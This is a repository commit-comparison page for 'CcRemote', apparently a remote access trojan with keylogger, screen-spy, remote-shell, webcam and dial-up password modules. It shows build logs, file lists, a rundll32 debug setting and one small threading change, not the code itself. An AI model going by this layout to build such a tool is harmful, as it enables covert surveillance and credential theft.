Compare commits
43 Commits
20200704.1
...
master
Author | SHA1 | Date | |
---|---|---|---|
![]() |
643faacca1 | ||
![]() |
a726d73711 | ||
![]() |
1440a5de60 | ||
![]() |
4ae635cd38 | ||
![]() |
4b8f225b7f | ||
![]() |
8fd8041325 | ||
![]() |
1d4b33550f | ||
![]() |
3a9a5fa585 | ||
![]() |
5229350941 | ||
![]() |
1168cd57ec | ||
![]() |
ca30e3eee0 | ||
![]() |
0817ad4f64 | ||
![]() |
642abc37ee | ||
![]() |
1aaf0ba72d | ||
![]() |
8526ac5e15 | ||
![]() |
d099304a85 | ||
![]() |
c25286c021 | ||
![]() |
79648c130c | ||
![]() |
e47417a184 | ||
![]() |
c9028528b2 | ||
![]() |
d3c213a17b | ||
![]() |
e6236c6fe3 | ||
![]() |
879c6d91b4 | ||
![]() |
38839bcf00 | ||
![]() |
bf9af90d11 | ||
![]() |
d3caf4b3c7 | ||
![]() |
9b9ada6d6f | ||
![]() |
ce2bbd9dfb | ||
![]() |
3c765bb391 | ||
![]() |
1b29464c86 | ||
![]() |
d8c29f12ee | ||
![]() |
20ba634442 | ||
![]() |
fb37fb3351 | ||
![]() |
e4b81f2cc8 | ||
![]() |
10d47a4668 | ||
![]() |
b4cbd079ab | ||
![]() |
1e498a27fe | ||
![]() |
dcd6dce57a | ||
![]() |
f0286bc4b7 | ||
![]() |
1779436bd8 | ||
![]() |
7d0eba133c | ||
![]() |
b83633ab37 | ||
![]() |
55fd407621 |
@@ -5,7 +5,8 @@
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LocalDebuggerCommand>..\\..\bin\server\TestLoadDll.exe</LocalDebuggerCommand>
|
||||
<LocalDebuggerCommand>C:\Windows\SysWOW64\rundll32.exe </LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
<LocalDebuggerCommandArguments>F:\myapp\CcRemote\bin\server\CcMainDll.dll,MainRun</LocalDebuggerCommandArguments>
|
||||
</PropertyGroup>
|
||||
</Project>
|
@@ -1,3 +1,7 @@
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.lib
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.exp
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.ipdb
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.iobj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
|
||||
@@ -25,10 +29,15 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\strcry.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.ilk
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.delete.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
|
||||
|
@@ -71,8 +71,8 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4309: “初始化”: 截断常量值
|
||||
KeyboardManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
||||
@@ -127,19 +127,19 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018:
|
||||
ServerManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(291): warning C4102: “defaute”: 未引用的标签
|
||||
ShellManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(54): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(59): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SystemManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(140): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(231): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
VideoCap.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(124): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(125): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
VideoManager.cpp
|
||||
正在生成代码...
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
|
||||
@@ -160,22 +160,28 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
dllmain.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(225): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(51): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(51): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(187): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(53): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(255): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(256): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(264): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(294): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(304): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(329): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(358): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(359): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
StrCry.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”,可能丢失数据
|
||||
|
@@ -1,40 +1 @@
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.lib
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.exp
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.ipdb
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.iobj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\audio.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\videomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\videocap.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\servermanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenspy.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\regmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\regeditopt.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\regeditex.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\manager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\install.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dialupass.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\filemanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\strcry.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog
|
||||
|
@@ -73,8 +73,8 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4309: “初始化”: 截断常量值
|
||||
Manager.cpp
|
||||
RegEditEx.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(10): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
@@ -126,19 +126,19 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018:
|
||||
ServerManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(291): warning C4102: “defaute”: 未引用的标签
|
||||
ShellManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(59): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SystemManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(140): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(231): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
VideoCap.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(124): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(125): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
VideoManager.cpp
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
FileManager.cpp
|
||||
@@ -156,24 +156,28 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(617): warning C4307
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
dllmain.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(225): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(40): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(53): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(51): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(51): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(187): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(255): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(256): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(264): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(294): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(304): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(329): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(358): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(359): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
StrCry.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”,可能丢失数据
|
||||
@@ -182,6 +186,6 @@ LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
|
||||
正在生成代码
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||
All 376 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
All 385 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
|
||||
|
@@ -83,10 +83,12 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
case COMMAND_SYSTEM: // <20><><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
Sleep(100);
|
||||
break;
|
